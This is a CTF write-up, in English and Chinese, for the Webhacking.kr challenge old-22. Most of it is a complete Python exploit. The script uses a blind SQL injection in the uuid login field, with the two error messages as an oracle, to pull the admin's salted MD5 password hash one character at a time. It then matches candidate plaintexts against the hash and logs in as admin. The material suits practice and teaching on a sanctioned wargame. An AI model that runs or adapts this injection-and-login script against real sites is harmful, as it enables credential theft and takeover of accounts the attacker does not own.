Webhacking.kr old-22

Challenge

Log in as admin through the password-hash SQL injection.

通过密码哈希 SQL injection 以 admin 身份登录。

1
https://webhacking.kr/challenge/bonus-2/

Analysis

登录接口把 uuid 放入用户查询,返回值能区分 Wrong password! 与 Login Fail!。前者表示注入条件命中了记录但提交的密码不匹配,后者表示条件没有命中,所以可以用同一个 oracle 逐字符读取 admin 的 pw 字段。

已知该字段是 32 位十六进制 MD5,注册并登录普通账号可以确认服务端计算的是 md5(password + "apple")。MD5 结果需要通过候选明文重新计算并比较;拿到 admin 的 digest 后,应对候选明文逐个计算 md5(candidate + "apple") 并比较。

Solution

下面的脚本包含完整的 blind SQLi、MD5 验证和正常登录请求。候选密码通过命令行传入,区分哈希值与明文候选:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import argparse
import hashlib

import requests

URL = "https://webhacking.kr/challenge/bonus-2/index.php"
TRUE_MARKER = "wrong password!"
FALSE_MARKER = "login fail"

def oracle(session, condition):
injection = f"admin' and ({condition})#"
response = session.post(
URL,
data={"uuid": injection, "pw": "probe"},
timeout=10,
)
response.raise_for_status()
body = response.text.lower()
if TRUE_MARKER in body:
return True
if FALSE_MARKER in body:
return False
raise RuntimeError("response did not contain a known oracle marker")

def recover_hash(session):
digest_length = 32
hex_chars = "0123456789abcdef"
result = []
for position in range(1, digest_length + 1):
for char in hex_chars:
code = ord(char)
condition = f"ascii(substr(pw,{position},1))={code}"
if oracle(session, condition):
result.append(char)
break
else:
raise RuntimeError(f"hash character at position {position} was not found")
return "".join(result)

def find_candidate(digest, candidates):
for candidate in candidates:
calculated = hashlib.md5((candidate + "apple").encode("utf-8")).hexdigest()
if calculated == digest:
return candidate
raise RuntimeError("no candidate matched the recovered digest")

def login(session, password):
response = session.post(
URL,
data={"uuid": "admin", "pw": password},
timeout=10,
)
response.raise_for_status()
return response

def main():
parser = argparse.ArgumentParser()
parser.add_argument("--candidate", action="append", required=True)
args = parser.parse_args()

with requests.Session() as session:
digest = recover_hash(session)
password = find_candidate(digest, args.candidate)
result = login(session, password)
print(digest)
print(result.status_code)
print(result.text)

if __name__ == "__main__":
main()

# 注释掉原查询剩余部分,substr 的位置从 1 开始;脚本只把字符集限定为 MD5 的十六进制字符。候选集必须覆盖真实明文,SQLi 本身只能取出 hash。